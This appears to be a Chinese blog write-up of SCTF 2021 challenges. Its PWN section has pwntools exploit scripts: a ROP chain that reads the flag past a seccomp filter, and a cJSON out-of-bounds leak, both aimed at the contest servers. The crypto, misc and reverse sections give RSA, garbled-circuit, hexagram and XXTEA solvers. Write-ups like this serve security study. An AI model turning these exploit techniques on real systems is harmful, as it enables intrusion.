SCTF 2021


SCTF 2021

PWN

roop

  1. 只允许 ORW:

    $ seccomp-tools dump ./roop 
     line  CODE  JT   JF      K
    =================================
     0000: 0x20 0x00 0x00 0x00000000  A = sys_number
     0001: 0x25 0x03 0x00 0x40000000  if (A > 0x40000000) goto 0005
     0002: 0x15 0x03 0x00 0x00000002  if (A == open) goto 0006
     0003: 0x15 0x02 0x00 0x00000000  if (A == read) goto 0006
     0004: 0x15 0x01 0x00 0x00000001  if (A == write) goto 0006
     0005: 0x06 0x00 0x00 0x00000000  return KILL
     0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
  2. 0x4AF102 处有 “flag” 字符串.

  3. read_sys() 函数中有点猫腻, rbp 那个位置要放个可写的地址, 而且后面还有个 pop, 后面利用这里面的 syscall 时要注意填充.

    .text:000000000040182A                 push    rbp
    .text:000000000040182B                 mov     rbp, rsp
    .text:000000000040182E ; 2:   return (unsigned int)sys_read(0, a1, 0x1F4uLL);
    .text:000000000040182E                 mov     [rbp+buf], rdi
    .text:0000000000401832                 mov     [rbp+var_4], 0C359h
    .text:0000000000401839                 mov     eax, 0
    .text:000000000040183E                 mov     edi, 0          ; fd
    .text:0000000000401843                 mov     rsi, [rbp+buf]  ; buf
    .text:0000000000401847                 mov     edx, 1F4h       ; count
    .text:000000000040184C                 syscall                 ; LINUX - sys_read
    .text:000000000040184E                 mov     [rbp+var_4], eax
    .text:0000000000401851                 mov     eax, [rbp+var_4]
    .text:0000000000401854                 pop     rbp
    .text:0000000000401855                 retn
    .text:0000000000401855 ; } // starts at 40182A
    .text:0000000000401855 read_sys        endp
  4. EXP

    from pwn import *
    
    context.log_level = "debug"
    context.terminal = ['tmux', 'sp', '-h']
    
    p = remote("123.60.140.20", 2111)
    # p = process("./roop")
    pop_rdi_ret = 0x0000000000401d9e
    pop_rsi_ret = 0x00000000004086de
    pop_rax_ret = 0x000000000043fed7
    pop_rdx_rbx_ret = 0x000000000046d86b
    flag_s = 0x4AF102
    bss = 0x4B1500
    bss2 = 0x4B2B79
    main = 0x401868
    # 用 read_sys() 中的 syscall
    syscall_ret = 0x40184C
    
    # open 开出来的 fd 应该是 3
    fd = 3
    payload = 'a'*0x20 + p64(bss2) + \
            #   open("flag", 0)
            p64(pop_rax_ret) + p64(2) + p64(pop_rdi_ret) + p64(flag_s) + p64(pop_rsi_ret) + p64(0) + p64(syscall_ret) + \
            #   填充    read(fd, bss, 0x30)
            p64(bss2) + p64(pop_rax_ret) + p64(0) + p64(pop_rdi_ret) + p64(fd) + p64(pop_rsi_ret) + p64(bss) + p64(pop_rdx_rbx_ret) + p64(0x30) + p64(0) + p64(syscall_ret) + \
            #   填充    write(1, bss, 0x30)
            p64(bss2) + p64(pop_rax_ret) + p64(1) + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(bss) + p64(pop_rdx_rbx_ret) + p64(0x30) + p64(0) + p64(syscall_ret) + \
            p64(bss2) + p64(main)
    # gdb.attach(p)
    p.send(payload)
    
    p.interactive()

dataleak

  1. cJSON_Minify 遇到 “/*” 的时候下标最后会 +2, 利用这个漏洞吃掉 3 个字符串之间的 ‘\x00’; 而且会自动吃掉空格。左挪挪右挪挪把那个 “this_is_data_in_server” 挪出来就行了.
    else if ( *v11 == '/' && v11[1] == '*' )
    {
        while ( *v11 && (*v11 != '*' || v11[1] != '/') )
            ++v11;
        v11 += 2;
    }
  2. EXP
    from pwn import *
    
    # context.log_level = "debug"
    context.terminal = ['tmux', 'sp', '-h']
    
    # p = process("./cJSON_PWN")
    p = remote("124.70.202.226", 2101)
    
    payload = 'a'*0xc + '/' + '*'
    p.send(payload)
    payload = 'bbbb' + ' '*(0xc-4) + '/' + '*'
    p.send(payload)
    
    a = p.recv()
    
    payload = 'a'*5 + ' '*(0xc-5) + '/' + '*'
    p.send(payload)
    payload = ' '*0xc + '/' + '*'
    # gdb.attach(p, gdbscript = "b *$rebase(0x120D)")
    p.send(payload)
    
    b = p.recv()
    
    print(a+b)
    # print("a = " + a + ", b = " + b)
    
    p.interactive()

CRY

Lattice_RSA

  1. CopperSmith(https://eprint.iacr.org/2014/549.pdf)
  2. EXP
    # sage
    e1 = 9545097209030256775216443121829852487787380086315441423236592000839309846039550602130662744273474762892095845712248185351595030092141485752003885019152268353509264865332005730567800065218726010684572302315291967868766793202912693755784425680016425189250482664755863124379283931403254016082077557111339647889
    n1 = 98939456380792523662775017487084146158199369919759470465575759577838238544400854203012884028529070427777189722848860164139618018368139287530561049590738727981094118610846357860548707651233653701270301175858159871826699942130125407653338205286434016804567227501137095308022126944522749231530058497881261185653
    c1 = 55315487674581208936176703509670353978231044582491114364061992981458986632841065786061160594922107804965351583127534031661829212870815873676036345109665820229082797340089348236551436209969988935306699393106743928957238959317622905185712338429185098479804550934511329466829098245607393481855153276533732689734
    e2 = 59243789427417951194489862269417430952328673559766515223885035376877819796576206793435054362857070966888235333647478778158384173868938982383588960913340186622525635645816049372928121634881790492382629069066078703248800839522472210920458130523691729892148102876735855766860455039600156378352749345062721937209
    n2 = 104347855605891592910114852579961565604626906391213265775887363677904796055413085190935828673206199415533269569031451361031799754867385268572970064379073503906665805386452010801102766017395658092557842603350337718372544153615967374268293977782528578048412981645150044439520557593275256807763497840657428919077
    c2 = 102398006499486137660980667185708024925165256830809071209188976998384002930353742529713002440025603110530041319123321468674756588207972254892299747598693922335456071362447796282021604830025395235248733257046909682564607142251130963235661693343045300675990709137212806865651950929080932525655855441795236830180
    e3 = 85747500093914623676814521570837906391267663984326957989170968314694976569281309877349688441394449235970180279634338128332963787895719937398561401234322387037150946707257948321793874036110351063581214140307404280596740059504052727210571816961399578900374385250625544371549762415419859711307774733248827036469
    n3 = 125025456359945372693024749116364347012056768353381741583283104144583480532982415270618444535675894570724052935399666141513628840873824003925313455238817485549860905264933541873086612753584660074870129509952045033828170291542113197517274230326183877232286120958576866764084704325778588083293425203999205810141
    c3 = 72100429874928070585214359886622577441750665411714854015876430886408828429194918865497582935712040510387059400943960378641326114021899111137577322059200344646501253200629230286816720829672198420182128299025122114808347594611972141414087683155991740640913366675113748261101786118999803968607329180926248155617
    
    
    Ns = [n1, n2, n3]
    es = [e1, e2, e3]
    cs = [c1, c2, c3]
    
    N = max(Ns)
    k = 3
    delta = 0.375
    epsilon = sqrt(5) * N^(delta-1/2)
    
    n = k
    C = int(3^(n+1) * 2 ^ ((n+1)*(n-4)/4) * epsilon^(-n-1))
    
    M = Matrix(ZZ, [[1, -int(C * es[0] / (Ns[0] + 1)), -int(C * es[1] / (Ns[1] + 1)), -int(C * es[2] / (Ns[2] + 1))],
                    [0, C, 0, 0],
                    [0, 0, C, 0],
                    [0, 0, 0, C]])
    
    K = M.LLL()
    need_x = K * M.inverse()
    x, y1, y2, y3 = -need_x[0]
    ys = [y1, y2, y3]
    
    Ss = [abs(int(Ns[i] + 1 - es[i] * x / ys[i])) for i in range(3)]
    Ds = [int(sqrt(Ss[i]^2 - 4 * Ns[i])) for i in range(3)]
    pas = [int((Ss[i] + Ds[i])/2) for i in range(3)]
    
    ps = []
    for i in range(3):
        PR.<x> = PolynomialRing(Zmod(Ns[i]))
        f = x + pas[i]
        f = f.monic()
        p_solve = f.small_roots(X = 2 ** 160, beta=0.42)
        ps.append(int(p_solve[0] + pas[i]))
    
    p1 = ps[0]
    q1 = n1//p1
    assert p1*q1==n1
    
    from Crypto.Util.number import GCD, long_to_bytes
    from gmpy2 import powmod, invert
    phi1 = (p1-1)*(q1-1)
    d1 = invert(e1, phi1)
    
    r = powmod(c1, d1, n1)
    
    assert len(r)==512
    
    C = 314138995705134963765949674209997674579520613296385936644494323356626474616449345832002116061032387789940232889811877417810577261174504328571142196672295961635382151605788845659832250695248133655805670920526231489642291822105961881028933410090118643915808621533888227382756678986914466713549255082875872573630738336022955681786779227894866903014980470029300129311175129426104388783114413927510414404318697951064311913497410213165287013303821435193696139330480491
    pqr = 911619948379135753280277158472338758620401367671839695302515524798781840672067948187113857703065845795822924511361587073726701234792252232996432637222385990530844261677850096042369704113324684160539535870348348879313722193048824463097747849639034518789021825189407467150941299095291906449325771599816822640144434277887115737049026356758054116641646403968823314685604673290554098181881098527931284097939456611464715559804244238286600413220755256136717571673115011
    
    pq = pqr//r
    assert pq*r==pqr
    # print(pq)
    # pq = 125344179764788452935958110666600751722211963386020321971128464236999765401250458368340341394237141874926209998421276275176144081702712536364906046934659970775376635578551307310851053853612888660035922692903835246762915463074024563925867028110418848125938836672083837320222436259178292257202682401312848752623
    
    # factor pq by yafu
    q = 11195721493713053816872473040574427113590459426801501041936696952855046206603519936162050813309235275210747351857314783073431341913954290041930449553437457
    p = 11195721493713053816872473040574427113590459426801501041936696952855046206603519936162050813309235275210747351857314783073431341913954290041930449553437439
    
    assert pqr==p*q*r
    phi = (p-1)*(q-1)*(r-1)
    
    d = invert(p*q*q*r*r*r, phi)
    
    flag = powmod(C,d,p*q*r)
    print(long_to_bytes(flag))

ciruit map

  1. 姚氏电路, 原题, 题解.
  2. 用中间相遇找出 gate 5 和 6 中满足以下条件的所有密钥对$(k_1,k_2)$: 可以令 G_Table 中相应的 $E_{k_1}(E_{k_2}(0))$ 经过两次反向的 decode 得到 0. 而且由于 5 和 6 都是与门, 所以它们的真值表中有 3 个输出为假, 1 个为真. 在这些密钥对中筛选满足令 gate 5 的输出中有 3 个相同, 一个不同的, 即可得到它们的两个输入所对应的密钥值: $k_1^0,k_1^1,k_2^0,k_2^1$. 稍微修改一下 Joseph 博客中的代码即可:
    from block_cipher import encrypt_data, decrypt_data, decrypt
    from public_data import G_Table as g_tables
    from collections import defaultdict
    from tqdm import tqdm
    
    import json
    
    print('[!] generating lookup table...')
    ENCRYPTIONS_OF_ZERO = defaultdict(list)
    for key in tqdm(range(2**24)):
        ct = encrypt_data(0, key)
        ENCRYPTIONS_OF_ZERO[ct].append(key)
    
    # with open('ENCRYPTIONS_OF_ZERO.json', 'r') as f:
    #     ENCRYPTIONS_OF_ZERO = json.load(f)
    #     f.close()
    
    def meet_in_the_middle(ct):
        print('[!] performing meet-in-the-middle attack for', ct)
        possible = defaultdict(list)
        for key in tqdm(range(2**24)):
            dec = decrypt_data(ct, key)
            if dec in ENCRYPTIONS_OF_ZERO:
                possible[key] = ENCRYPTIONS_OF_ZERO[dec]
        return possible
    
    def recover_keys(Z, C):
        print('[!] recovering keys...')
        z1, z2, z3, z4 = Z
        c1, c2, c3, c4 = C
        for b0 in tqdm(z1):
            for a0 in z1[b0]:
                p1 = decrypt(c1, a0, b0)
                for c,z in zip([c2, c3, c4], [z2, z3, z4]):
                    for a1 in z[b0]:
                        if p1 == decrypt(c, a1, b0):
                            b1 = recover_keys_part2(Z, C, a0, b0)
                            if b1:
                                print(f'a1 = {a1}, b1 = {b1}')
                                print(f'a0 = {a0}, b0 = {b0}')
    
                                return True
        return False
                    
    def recover_keys_part2(Z, C, a0, b0):
        z1, z2, z3, z4 = Z
        c1, c2, c3, c4 = C
        for c,z in zip([c2,c3,c4], [z2,z3,z4]):
            for b1 in z:
                if a0 in z[b1] and decrypt(c, a0, b1) == decrypt(c1, a0, b0):
                    return b1
        return False
    
    for i in [5, 6]:
        Z = [meet_in_the_middle(g_tables[i][j][1]) for j in range(4)]
        C = [g[0] for g in g_tables[i]]
        for i in range(4):
            recover_keys([Z[i]] + Z[:i] + Z[i+1:], [C[i]] + C[:i] + C[i+1:])
  3. 用上面的脚本求出 gate 1,2,3,4 的密钥值, 然后就可以进一步推 gate 5,6,7,8 的密钥值, over.
    from block_cipher import encrypt_data, decrypt_data, decrypt
    from public_data import G_Table
    
    import hashlib
    from Crypto.Util.number import *
    
    def validate_the_circuit(geta_table, key0, key1):
        for g in geta_table:
            gl, v = g
            label = decrypt(gl, key0, key1)
            validation = decrypt(v, key0, key1)
            
            if validation == 0:
                return label
    
    k = [[0 for col in range(2)] for row in range(10)]
    
    """
    key 1, 2
    a1 = 13675268, b1 = 12870274
    a0 = 8343801, b0 = 10251687
    """
    k[1][1] = 13675268
    k[1][0] = 8343801
    k[2][1] = 12870274
    k[2][0] = 10251687
    
    # geta_table = G_Table[5]
    # msg = validate_the_circuit(geta_table, k[1][0], k[2][0])
    # print(msg)
    # msg = validate_the_circuit(geta_table, k[1][1], k[2][0])
    # print(msg)
    # msg = validate_the_circuit(geta_table, k[1][0], k[2][1])
    # print(msg)
    # msg = validate_the_circuit(geta_table, k[1][1], k[2][1])
    # print(msg)
    k[5][0] = 15707475
    k[5][1] = 4567418
    
    '''
    key 3, 4
    a1 = 12490757, b1 = 3391233
    a0 = 6827786, b0 = 2096572
    '''
    k[3][0] = 6827786
    k[3][1] = 12490757
    k[4][0] = 2096572
    k[4][1] = 3391233
    
    # geta_table = G_Table[6]
    # msg = validate_the_circuit(geta_table, k[3][0], k[4][0])
    # print(msg)
    # msg = validate_the_circuit(geta_table, k[3][1], k[4][0])
    # print(msg)
    # msg = validate_the_circuit(geta_table, k[3][0], k[4][1])
    # print(msg)
    # msg = validate_the_circuit(geta_table, k[3][1], k[4][1])
    # print(msg)
    k[6][0] = 14095476
    k[6][1] = 3648155
    
    # geta_table = G_Table[7]
    # msg = validate_the_circuit(geta_table, k[5][0], k[6][0])
    # print(msg)
    # msg = validate_the_circuit(geta_table, k[5][1], k[6][0])
    # print(msg)
    # msg = validate_the_circuit(geta_table, k[5][0], k[6][1])
    # print(msg)
    # msg = validate_the_circuit(geta_table, k[5][1], k[6][1])
    # print(msg)
    k[7][0] = 14409690
    k[7][1] = 8680011
    
    # geta_table = G_Table[9]
    # msg = validate_the_circuit(geta_table, k[4][0], k[7][0])
    # print(msg)
    # msg = validate_the_circuit(geta_table, k[4][1], k[7][0])
    # print(msg)
    # msg = validate_the_circuit(geta_table, k[4][0], k[7][1])
    # print(msg)
    # msg = validate_the_circuit(geta_table, k[4][1], k[7][1])
    # print(msg)
    k[8][0] = 9376523
    k[8][1] = 2504390
    
    def xor(A, B):
        return bytes(a ^ b for a, b in zip(A, B))
    the_chaos=b''
    
    reflag = 0x1661fe85c7b01b3db1d432ad3c5ac83a
    for i in range(1, 9):
        tmp = sum(k[i])
        the_chaos += bytes(long_to_bytes(tmp))
    mask = hashlib.md5(the_chaos).digest()
    
    print(long_to_bytes(bytes_to_long(mask)^reflag))

MISC

The_is_A_tree

  1. 用 os.walk 先序遍历文件树即可, 后面还有一个伏羲 64 卦
  2. EXP
    # -*- coding: UTF-8 -*-
    import os
    import base64
    
    # s = ''
    # for root,dirs,files in os.walk("./"):
    #     for fname in files:
    #         # print(root, fname)
    #         f = open(root + '\\' + fname, 'r')
    #         for lines in f.readline():
    #             s += lines
    #         f.close()
            
    # print(s)
    s = 'Q2hpbmVzZSB0cmFkaXRpb25hbCBjdWx0dXJlIGlzIGJyb2FkIGFuZCBwcm9mb3VuZCEgU28gSSBXYW50IEdpdmUgWW91IE15IEZsYWcgQnV0IFlvdSBOZWVkIERlY29kZSBJdC5FbmpveSBUaGUgRmxhZyEhOuW4iCDlhZEg5aSNIOaNnyDlt70g6ZyHIOaZiyDlp6Qg5aSn6L+HIOiuvCDlmazll5Eg6ZyHIOaBkiDoioIg6LGrIA=='
    
    # base64
    # Chinese traditional culture is broad and profound! So I Want Give You My Flag But You Need Decode It.Enjoy The Flag!!:师 兑 复 损 巽 震 晋 姤 大过 讼 噬嗑 震 恒 节 豫 
    
    
    # py3
    # 参考文献: https://blog.csdn.net/weixin_44110537/article/details/107494966
    s = '师兑复损巽震晋姤大过讼噬嗑震恒节豫'
    dic={'坤': '000000', '剥': '000001', '比': '000010', '观': '000011', '豫': '000100', '晋': '000101', '萃': '000110', '否': '000111', '谦': '001000', '艮': '001001', '蹇': '001010', '渐': '001011', '小过': '001100', '旅': '001101', '咸': '001110', '遁': '001111', '师': '010000', '蒙': '010001', '坎': '010010', '涣': '010011', '解': '010100', '未济': '010101', '困': '010110', '讼': '010111', '升': '011000', '蛊': '011001', '井': '011010', '巽': '011011', '恒': '011100', '鼎': '011101', '大过': '011110', '姤': '011111', '复': '100000', '颐': '100001', '屯': '100010', '益': '100011', '震': '100100', '噬嗑': '100101', '随': '100110', '无妄': '100111', '明夷': '101000', '贲': '101001', '既济': '101010', '家人': '101011', '丰': '101100', '离': '101101', '革': '101110', '同人': '101111', '临': '110000', '损': '110001', '节': '110010', '中孚': '110011', '归妹': '110100', '睽': '110101', '兑': '110110', '履': '110111', '泰': '111000', '大畜': '111001', '需': '111010', '小畜': '111011', '大壮': '111100', '大有': '111101', '夬': '111110', '乾': '111111'}
    li=[]
    k=0
    for i in range(len(s)):
        if k ==1:
            k=0
            continue
        try:
            li.append(dic[s[i]])
        except:
            t=''
            t=t+s[i]+s[i+1]
            li.append(dic[t])
            k=1
    ss=''.join(li)
    print(ss)
    enc=''
    for i in range(0,len(ss),8):
        enc+=chr(eval('0b'+ss[i:i+8]))
    print(enc)

RE

easyre

  1. 3 个加密算法和它们相应的逆推算法如下:

    char BASE16_ENC_TAB[] = "0123456789ABCDEF";
    int reBASE16_ENC_TAB(char in){
        if(in>='0' && in<='9')
            return in-'0';
        return in-'A'+10;
    }
    // len = 16
    void F1(char *in_s, int len, char *out_s){
        for(int i=0;i<len;i++){
            char v1 = (in_s[i] >> 4) & 0xf;
            char v2 = in_s[i] & 0xf;
            out_s[2 * i] = BASE16_ENC_TAB[v1];
            out_s[2 * i + 1] = BASE16_ENC_TAB[v2];
        }
    }
    // len = 32
    void reF1(char *in_s, int len, char *out_s){
        for(int i=0;i<len;i+=2)
            out_s[i/2] = (reBASE16_ENC_TAB(in_s[i])<<4)+reBASE16_ENC_TAB(in_s[i+1]);
    }
    
    int find_first_of(char in){
        char v6[] = "0123456789ABCDEF";
        for(int i=0;i<16;i++){
            if(in == v6[i])
                return i;
        }
    }
    void F2(char *in_s, unsigned int *out_n){
        // in_s 长度为 32, out_n 长度为 4
        for(int i=0;i<32;i+=8){
            for(int j=0;j<8;j++){
                int v2 = find_first_of(in_s[i+j]);
                out_n[i / 8] |= v2 << (4 * (7 - j));
            }
        }
    }
    void reF2(unsigned int *in_n, char *out_s){
        char v6[] = "0123456789ABCDEF";
        for(int i=0;i<4;i++){
            for(int j=0;j<8;j++){
                out_s[i*8+j] = v6[(in_n[i] >> (4 * (7 - j))) & 0xf];
            }
        }
    }
    
    void F3(uint32_t *v, int n){
        uint32_t const key[4] = {83, 67, 84, 70};
        uint32_t y, z, sum;  
        unsigned p, rounds, e; 
        uint32_t DELTA = 1061774306;
    
        rounds = 31 / n + 8;
        sum = 0;
        z = v[n - 1];
        do
        {
            sum += DELTA;
            e = (sum >> 2) & 3;
            for ( p = 0; n - 1 > p; ++p )
            {
                y = v[p + 1];
                z = v[p] += (((y << 7) ^ (z >> 5)) + ((y >> 3) ^ (16 * z))) ^ ((y ^ sum) + (z ^ key[e ^ p & 3]));
            }
            y = v[0];
            z = v[n-1] += (((y << 7) ^ (z >> 5)) + ((y >> 3) ^ (16 * z))) ^ ((y ^ sum) + (z ^ key[e ^ p & 3]));
            --rounds;
        }
        while ( rounds );
    }
    void reF3(uint32_t *v, int n){
        uint32_t const key[4] = {83, 67, 84, 70};
        uint32_t y, z, sum;  
        unsigned p, rounds, e; 
        uint32_t DELTA = 1061774306;
    
        rounds = 31 / n + 8;
        sum = rounds*DELTA;
        y = v[0];
        do
        {
            e = (sum >> 2) & 3;
            for ( p = n-1; p>0; --p )
            {
                z = v[p-1];
                y = v[p] -= (((y << 7) ^ (z >> 5)) + ((y >> 3) ^ (16 * z))) ^ ((y ^ sum) + (z ^ key[e ^ p & 3]));
            }
            z = v[n-1];
            y = v[0] -= (((y << 7) ^ (z >> 5)) + ((y >> 3) ^ (16 * z))) ^ ((y ^ sum) + (z ^ key[e ^ p & 3]));
    
            sum -= DELTA;
            --rounds;
        }
        while ( rounds );
    }

    有一个陷阱就是 XXTEA 第一次执行之前, delta 的值被修改了:

    __int64 vary(void)
    {
      struct _STARTUPINFOA StartupInfo; // [rsp+20h] [rbp-70h] BYREF
    
      GetStartupInfoA(&StartupInfo);
      StartupInfo.cb = 68;
      if ( StartupInfo.dwX
        || StartupInfo.dwY
        || StartupInfo.dwXCountChars
        || StartupInfo.dwYCountChars
        || StartupInfo.dwXSize
        || StartupInfo.dwYSize )
      {
        DELTA = 1061774306;
      }
      return 0i64;
    }
  2. 在最后还有一段 C++:

    std::ostringstream::basic_ostringstream(v11, 16i64);
    std::allocator<char>::allocator(&v13);
    std::string::string(v12, &unk_491000, &v13);
    std::allocator<char>::~allocator(&v13);
    std::allocator<char>::allocator(&v14);
    std::string::string(v7, "657402099", &v14);
    std::allocator<char>::~allocator(&v14);
    std::allocator<char>::allocator(&v15);
    std::string::string(&v8, "6574020991321455863", &v15);
    std::allocator<char>::~allocator(&v15);
    std::allocator<char>::allocator(&v16);
    std::string::string(&v9, "65740209913214558633720287476", &v16);
    std::allocator<char>::~allocator(&v16);
    std::allocator<char>::allocator(&v17);
    std::string::string(&v10, "657402099132145586337202874761402167217", &v17);
    std::allocator<char>::~allocator(&v17);
    v22 = 0;
    for ( j = 0; j <= 3; ++j )
    {
        a1[j] ^= a1[(j + 1) % 4];
        std::ostream::operator<<(v11, a1[j]);
        std::ostringstream::str((std::string *)v18, v7[0], v8);
        std::string::operator=(v12, v18);
        std::string::~string((std::string *)v18);
        if ( (unsigned int)std::string::compare((std::string *)v12, (const std::string *)&v7[2 * j]) )
            break;
        v22 = 1;
    }

    大概意思应该是这样:

    ostringstream v11;
    string v7[4];
    v7[0] = "657402099";
    v7[1] = "6574020991321455863";
    v7[2] = "65740209913214558633720287476";
    v7[3] = "657402099132145586337202874761402167217";
    
    ostringstream v11;
    for (int i = 0; i <= 3; ++i )
    {
        v[i] ^= v[(i + 1) % 4];
        v11 << v[i];
    
        string v12 = v11.str();
        if(v12.compare(v7[i])){
            puts("no");
        }
    }
    puts("yes");

    求解一下 XXTEA 出来的 4 个数

    /*
        v[0] ^= v[1];   657402099       0,1
        v[1] ^= v[2];   1321455863      1,2
        v[2] ^= v[3];   3720287476      2,3
        v[3] ^= v[0];   1402167217      3,0,1
    
        v[3] = v[3]^v[0];
        v[2] = v[2]^v[3];
        v[1] = v[1]^v[2];
        v[0] = v[0]^v[1];
    */
    uint32_t v[4] = {657402099,1321455863,3720287476,1402167217};
    v[3] = v[3]^v[0];
    v[2] = v[2]^v[3];
    v[1] = v[1]^v[2];
    v[0] = v[0]^v[1];
  3. EXP

    #include <bits/stdc++.h>
    using namespace std;
    
    char BASE16_ENC_TAB[] = "0123456789ABCDEF";
    int reBASE16_ENC_TAB(char in){
        if(in>='0' && in<='9')
            return in-'0';
        return in-'A'+10;
    }
    // len = 16
    void F1(char *in_s, int len, char *out_s){
        for(int i=0;i<len;i++){
            char v1 = (in_s[i] >> 4) & 0xf;
            char v2 = in_s[i] & 0xf;
            out_s[2 * i] = BASE16_ENC_TAB[v1];
            out_s[2 * i + 1] = BASE16_ENC_TAB[v2];
        }
    }
    // len = 32
    void reF1(char *in_s, int len, char *out_s){
        for(int i=0;i<len;i+=2)
            out_s[i/2] = (reBASE16_ENC_TAB(in_s[i])<<4)+reBASE16_ENC_TAB(in_s[i+1]);
    }
    bool check1(){
        char in[50] = "0123456789abcdef";
        char out1[50];
        memset(out1,0,sizeof(out1));
        F1(in, 16, out1);
        char out2[50];
        memset(out2,0,sizeof(out2));
        reF1(out1, 32, out2);
        printf("%s\n", out2);
    }
    
    int find_first_of(char in){
        char v6[] = "0123456789ABCDEF";
        for(int i=0;i<16;i++){
            if(in == v6[i])
                return i;
        }
    }
    void F2(char *in_s, unsigned int *out_n){
        // in_s 长度为 32, out_n 长度为 4
        for(int i=0;i<32;i+=8){
            for(int j=0;j<8;j++){
                int v2 = find_first_of(in_s[i+j]);
                out_n[i / 8] |= v2 << (4 * (7 - j));
            }
        }
    }
    void reF2(unsigned int *in_n, char *out_s){
        char v6[] = "0123456789ABCDEF";
        for(int i=0;i<4;i++){
            for(int j=0;j<8;j++){
                out_s[i*8+j] = v6[(in_n[i] >> (4 * (7 - j))) & 0xf];
            }
        }
    }
    bool check2(){
        puts("check2");
        char in[50] = "CAEA1116A622787C23D1E7AFFA163F5E";
        unsigned int out1[50];
        memset(out1,0,sizeof(out1));
        F2(in, out1);
        char out2[50];
        memset(out2,0,sizeof(out2));
        reF2(out1, out2);
        printf("%s\n", out2);
    }
    
    void F3(uint32_t *v, int n){
        uint32_t const key[4] = {83, 67, 84, 70};
        uint32_t y, z, sum;  
        unsigned p, rounds, e; 
        uint32_t DELTA = 1061774306;
    
        rounds = 31 / n + 8;
        sum = 0;
        z = v[n - 1];
        do
        {
            sum += DELTA;
            e = (sum >> 2) & 3;
            for ( p = 0; n - 1 > p; ++p )
            {
                y = v[p + 1];
                z = v[p] += (((y << 7) ^ (z >> 5)) + ((y >> 3) ^ (16 * z))) ^ ((y ^ sum) + (z ^ key[e ^ p & 3]));
            }
            y = v[0];
            z = v[n-1] += (((y << 7) ^ (z >> 5)) + ((y >> 3) ^ (16 * z))) ^ ((y ^ sum) + (z ^ key[e ^ p & 3]));
            --rounds;
        }
        while ( rounds );
    }
    void reF3(uint32_t *v, int n){
        uint32_t const key[4] = {83, 67, 84, 70};
        uint32_t y, z, sum;  
        unsigned p, rounds, e; 
        uint32_t DELTA = 1061774306;
    
        rounds = 31 / n + 8;
        sum = rounds*DELTA;
        y = v[0];
        do
        {
            e = (sum >> 2) & 3;
            for ( p = n-1; p>0; --p )
            {
                z = v[p-1];
                y = v[p] -= (((y << 7) ^ (z >> 5)) + ((y >> 3) ^ (16 * z))) ^ ((y ^ sum) + (z ^ key[e ^ p & 3]));
            }
            z = v[n-1];
            y = v[0] -= (((y << 7) ^ (z >> 5)) + ((y >> 3) ^ (16 * z))) ^ ((y ^ sum) + (z ^ key[e ^ p & 3]));
    
            sum -= DELTA;
            --rounds;
        }
        while ( rounds );
    }
    void check3(){
        puts("check3");
        uint32_t v[4] = {123,34,56,123};
        F3(v, 4);
        reF3(v,4);
        for(int i=0;i<4;i++)
            printf("%d\n", v[i]);
    }
    
    int main(){
        char out1[50];
        char out2[50];
        memset(out1,0,sizeof(out1));
        memset(out2,0,sizeof(out2));
        /*
            v[0] ^= v[1];   657402099       0,1
            v[1] ^= v[2];   1321455863      1,2
            v[2] ^= v[3];   3720287476      2,3
            v[3] ^= v[0];   1402167217      3,0,1
    
            v[3] = v[3]^v[0];
            v[2] = v[2]^v[3];
            v[1] = v[1]^v[2];
            v[0] = v[0]^v[1];
        */
        uint32_t v[4] = {657402099,1321455863,3720287476,1402167217};
        v[3] = v[3]^v[0];
        v[2] = v[2]^v[3];
        v[1] = v[1]^v[2];
        v[0] = v[0]^v[1];
    
        for(int i=0;i<4;i++){
            printf("%u\n", v[i]);
        }
        reF3(v, 4);
        reF2(v, out1);
        reF1(out1, 32, out2);
        // Y0u_@r3_S0_G0od!
        printf("%s\n", out2);
    
        return 0;
    }

文件

链接:https://pan.baidu.com/s/1REyjdM7WjojMW3sSwdzLAw 
提取码:pyzq

文章作者: 李立基
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 李立基 !
  目录